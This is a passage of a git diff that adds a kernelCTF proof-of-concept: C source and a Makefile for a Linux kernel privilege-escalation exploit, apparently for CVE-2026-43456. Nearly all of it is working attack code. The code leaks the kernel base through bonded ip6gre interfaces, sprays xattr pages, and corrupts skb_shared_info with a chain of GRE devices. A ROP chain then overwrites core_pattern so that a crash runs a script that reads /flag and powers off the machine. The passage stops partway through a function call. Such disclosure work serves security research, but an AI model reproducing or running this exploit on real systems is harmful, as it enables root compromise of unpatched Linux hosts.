WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit new file mode 100755 index 000000000..5ba6a83f5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c new file mode 100644 index 000000000..9c1bef76e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c @@ -0,0 +1,824 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0x40000, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_ARG_QWORD = 0x8, + SKB_SHINFO_STACK_PIVOT_QWORD = 0xa, + SKB_SHINFO_ROP_CHAIN_QWORD = 0xb, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xaecb30, + CORE_PATTERN_OFFS = 0x2bbace0, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x00856eb7, + // mov rbp, rdi; push rbx; mov rax, [rdi+0x18]; xor ebx, ebx; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x009b7243, + // mov rsp, rbp; pop rbp; pop r15; pop r13; pop r12; ret; + GADGET_STACK_PIVOT_OFFS = 0x0017fab8, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x01600213, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x0124fc8d, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x00730c3b, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x1401146, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + bool should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/bash\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t stack_pivot_gadget = kbase + GADGET_STACK_PIVOT_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_ARG_QWORD] = addr2 - U64_SIZE; + fake_skb_shinfo[SKB_SHINFO_STACK_PIVOT_QWORD] = stack_pivot_gadget; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, true)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + 